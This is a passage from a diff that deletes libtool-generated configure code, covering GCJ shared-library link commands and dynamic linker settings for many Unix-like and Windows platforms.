- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_GCJ='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_separator_GCJ=:
- ;;
-
- solaris*)
- no_undefined_flag_GCJ=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_shlibpath_var_GCJ=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_GCJ='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_GCJ='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_GCJ=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds_GCJ='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_GCJ='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_GCJ='$CC -r -o $output$reload_objs'
- hardcode_direct_GCJ=no
- ;;
- motorola)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- sysv4.3*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- export_dynamic_flag_spec_GCJ='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_GCJ=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_GCJ=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_GCJ='${wl}-z,text'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_GCJ='${wl}-z,text'
- allow_undefined_flag_GCJ='${wl}-z,nodefs'
- archive_cmds_need_lc_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_GCJ" >&5
-$as_echo "$ld_shlibs_GCJ" >&6; }
-test "$ld_shlibs_GCJ" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_GCJ" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_GCJ=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_GCJ in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_GCJ
- pic_flag=$lt_prog_compiler_pic_GCJ
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_GCJ
- allow_undefined_flag_GCJ=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_GCJ=no
- else
- archive_cmds_need_lc_GCJ=yes
- fi
- allow_undefined_flag_GCJ=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_GCJ" >&5
-$as_echo "$archive_cmds_need_lc_GCJ" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
